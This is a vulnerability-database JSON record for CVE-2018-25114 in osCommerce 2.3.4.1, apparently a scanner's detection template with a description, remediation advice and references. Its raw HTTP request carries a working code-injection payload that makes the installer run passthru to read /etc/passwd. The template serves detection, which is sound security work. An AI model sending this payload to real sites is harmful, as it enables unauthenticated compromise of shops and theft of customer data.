{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-25114/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-25114/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-25114/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-25114/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-25114/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-25114"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-25114"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2018/CVE-2018-25114.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2018-25114\n\ninfo:\n  name: osCommerce 2.3.4.1 - Remote Code Execution\n  author: Suman_Kar\n  severity: critical\n  description: |\n    osCommerce Online Merchant 2.3.4.1 contains a remote code execution caused by insecure default configuration and missing authentication in the installer workflow, letting unauthenticated attackers execute arbitrary PHP code via install_4.php, exploit requires accessible /install/ directory after installation.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP code by exploiting the insecure installer workflow, leading to complete e-commerce platform compromise and access to customer data.\n  remediation: |\n    Remove the /install/ directory after installation and upgrade to a patched version of osCommerce.\n  reference:\n    - https://www.exploit-db.com/exploits/50128\n    - https://github.com/nobodyatall648/osCommerce-2.3.4-Remote-Command-Execution\n    - https://www.exploit-db.com/exploits/44374\n    - https://www.vulncheck.com/advisories/oscommerce-installer-unauth-config-file-injection-php-code-execution\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n    cve-id: CVE-2018-25114\n    cwe-id: CWE-94\n    epss-score: 0.04152\n    epss-percentile: 0.90422\n  metadata:\n    verified: true\n    max-request: 2\n  tags: cve,cve2018,rce,oscommerce,edb,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /install/install.php?step=4 HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: application/x-www-form-urlencoded\n\n        DIR_FS_DOCUMENT_ROOT=.%2F&DB_DATABASE=%27%29%3Bpassthru%28%27cat+%2Fetc%2Fpasswd%27%29%3B%2F%2A\n      - |\n        GET /install/includes/configure.php HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n        part: body\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022029d826eea5948b9534419c858f464e798a0bf4276bcc9bb0550b156deead088e02201fa83a4556c7320b08c93e437c763109cca53971fa00b6117e2d8144307d0417:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2018-25114"
}